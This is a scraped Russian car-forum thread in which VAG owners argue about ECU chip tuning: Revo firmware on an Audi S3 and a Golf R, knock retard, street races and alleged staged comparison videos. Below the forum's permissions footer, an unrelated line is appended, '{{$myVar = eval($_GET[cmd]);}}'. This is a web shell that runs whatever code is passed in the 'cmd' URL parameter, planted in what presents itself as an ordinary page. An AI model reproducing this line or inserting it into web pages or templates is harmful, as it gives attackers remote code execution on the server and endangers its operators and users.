+ Ответить в теме
Показано с 1 по 10 из 809

Тема: чип vs чип (подход, особенности, проблемы и т.п.)


Комбинированный просмотр

  1. #1
    GTI-Racing schummi004 is on a distinguished road Аватар для schummi004
    Регистрация
    07.06.2010
    Откуда
    Москва
    Машина
    Audi S3
    Сообщений
    549
    Я уже хз сколько тысяч км, езжу на Рево в режиме 8-7-7, всегда, каждый день, даже при 30+ на улице, моя машина живёт в отсечке.
    И всё прекрасно, откаты максимум в жару -1.5 проскочит иногда в районе 6000.
    Почему ничего не жахает? может я что-то не правильно делаю?

  2. #2
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от schummi004 Посмотреть сообщение
    Я уже хз сколько тысяч км, езжу на Рево в режиме 8-7-7, всегда, каждый день, даже при 30+ на улице, моя машина живёт в отсечке.
    И всё прекрасно, откаты максимум в жару -1.5 проскочит иногда в районе 6000.
    Почему ничего не жахает? может я что-то не правильно делаю?
    Да и почему должно жахать, так ездят даже бомбилы на дэу. Но ведь, так даже чисто технически ездить нельзя, не получается, это же не трек, это Мацква-пробка. Стартануть так пару раз за день..... этот режим у тебя 3% в день..... ну или 5%)))) Мотор должен работать как он сделан и задуман с завода, и запас там есть на чипушку и даже более. Это наоборот хорошо, что он нормально себя чувствует.
    песок сыпется....не останавливайтесь на достигнутом !

  3. #3
    GTI-Racing Танкист is on a distinguished road Аватар для Танкист
    Регистрация
    18.03.2008
    Откуда
    Край Краснодарский
    Машина
    GOLF 4 GTI
    Сообщений
    598
    Цитата Сообщение от schummi004 Посмотреть сообщение
    Я уже хз сколько тысяч км, езжу на Рево в режиме 8-7-7, всегда, каждый день, даже при 30+ на улице, моя машина живёт в отсечке.
    И всё прекрасно, откаты максимум в жару -1.5 проскочит иногда в районе 6000.
    Почему ничего не жахает? может я что-то не правильно делаю?

    Скорее наоборот все верно делаешь!

    Добавлено через 29 минут
    Цитата Сообщение от vasya555 Посмотреть сообщение
    Тебе скинуть програму ,она у меня на флэшке,оставил себе ее на память,а ты что так в пузырь лезешь ты мне чтоли прогу шил?ну так деньги верни мне!и я не забанен ни где ,что то вы заливаете.
    В пузырь лезет потому как это солидарность криворуких) богинь)...
    Последний раз редактировалось Танкист; 27.07.2012 в 09:15. Причина: Добавлено сообщение

  4. #4
    GTI-Racing Bear23 is on a distinguished road Аватар для Bear23
    Регистрация
    25.07.2012
    Откуда
    Краснодар
    Машина
    Skoda RS k04
    Сообщений
    25
    Странно,что никто не заметил кто был на самом деле провокатором этой все байды и грязного пиара в духе ушастого или по его просьбе!
    Цитата Сообщение от JUICE Посмотреть сообщение
    Тема про чипы Гольф Р погрязла в чипах всего семейства VAG... Короч, подведя итог... Никто на Р-ках, кроме Рево другие чипы не катал по человечески и нормально не настроился. Без альтернативно - все выбрали Рево?
    Цитата Сообщение от BorisRT Посмотреть сообщение
    Всем приготовиться к великому обсеру Рево))
    Цитата Сообщение от JUICE Посмотреть сообщение
    Борис, будем корректны... Договорились же... Так нельзя

    Сегодня просто выяснилось, что REVo не так уж и "валит" как многие думают. И есть реальные альтернативы, которые не хуже и многим не менее известны.
    Поясню, с некоторых пор сложилось мнение, что кроме REVo в VAG сообществе больше ничего не едет! REVo всех проезжает и уигрывает во всех дисциплинах! И на любых автомобилях семейства VAG! Тому подтверждением послужили массы видео в основном в российской части YouTub'а, где автомобили прошитые REVo назовем это "разрывали" конкурентов многими "кутузовами". Данный факт никем не ставился под сомнение, ибо доказательная база в виде множества видео говорила сама за себя. Но нашлись люди, которые поставили под сомнение вышеперечисленные факты. В частности, я был одним из этих людей. Лично мне стало интересно, а в чем загадка и все же возможна ли альтернатива. Другие заинтересованные люди, если пожелают выскажутся сами, если нет, то это их право. Я рассуждал так, ну не может быть, чтобы многие умы индустрии тюнинга в одночасье "слили" REVo и поглупели. Ну я бы понял, если бы машины чипованные другими ателье ехали ровно например, но не постоянно же сливали. Фантастика, короч. В итоге, был взят за основу ныне популярный Гольф Р. Автомобиль полностью стоковый, новый с небольшим пробегом. Данный автомобиль был помещен на мощностной стенд и на нем настроен. Благодаря умам двух известных в определенных кругах людей. Автомобиль был настроен не на режим, "всех рву и после этого взрываюсь", а на повседневную эксплуатацию "без последствий". Причем его можно было настроить и позлее, но цели такой не было. В процессе настройки выяснились слабые и сильные стороны данного "драндулета", впрочем чудес не случилось и все было давно знакомо и известно. Ну и переходим к сенсациями. Сегодня (уже вчера) благодаря коллективу заинтересованных и не знакомых до этого людей, по удачному стечению обстоятельств произошла встреча и "мини покатушки" на дороге......................Рево - валит, но не только оно (или он, простите я не знаю).

    А выбор чипа, личное дело каждого!

    Будет интересно и в дальнейшем посмотреть на автомобили в одинаковых конфигах в процессе тюнинга. Закупаемся насосами! )))

    Ну и лично от меня благодарность за проделанную работу, "некоему" Кириллу и "некоему" Сергею. Спасибо ребята, за ваши труды. Результат говорит сам за себя.
    QUOTE=BorisRT;310094]Сергей............................................ .................Если начали писькомерство-продолжим)

    Когда человек говорит говорит что он вот вот только купил Рку и она вообще не едет и ему интересно как едет Рево, это подразумевает что у человека сток,так?:)
    Потом виляния на тему, что вот сейчас заедем и все раскажу, попутно скорее засовывая камеру в Руки водителю авто сзади - вот это забавно:)

    По мне так это некрасиво, никогда не понимал таких нае@ов.
    Ладно, договорились же заехать еще. всем пис[/QUOTE]
    Цитата Сообщение от JUICE Посмотреть сообщение
    Мы же обсудили все эти вопросы вчера, и про сток не сток и прочее. Ничего бы не изменилось все равно, если бы ты знал даже заранее всю инфу. Я специально к этому заезду не готовился, был просто интерес прокатиться с авто на Рево. Графики моего авто можно посмотреть на Турбо кватро.
    Как-то так! И никто из "краснодарской бригады" не начинал говномет на работу Сергейника и Кроля, высказали свое субъективное мнение, т.к. есть с чем сравнивать в отличии от балоболов украинской секты.

+ Ответить в теме

Похожие темы

  1. Особенности установки холодного впуска на 2.0Т
    от serzh1 в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 47
    Последнее сообщение: 02.10.2023, 06:07
  2. Проблемы с DSG на GTI VI
    от Strang3r в разделе Отзывы / Выбор
    Ответов: 50
    Последнее сообщение: 13.09.2010, 19:45
  3. все технические особенности Volkswagen
    от nedoroslik в разделе Отзывы / Выбор
    Ответов: 4
    Последнее сообщение: 20.01.2010, 02:20
  4. Проблемы с DSG
    от DendisGTI в разделе Украина
    Ответов: 11
    Последнее сообщение: 24.12.2009, 20:12
  5. проблемы с vr6
    от no frost в разделе Двигатель
    Ответов: 3
    Последнее сообщение: 25.05.2008, 12:51

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}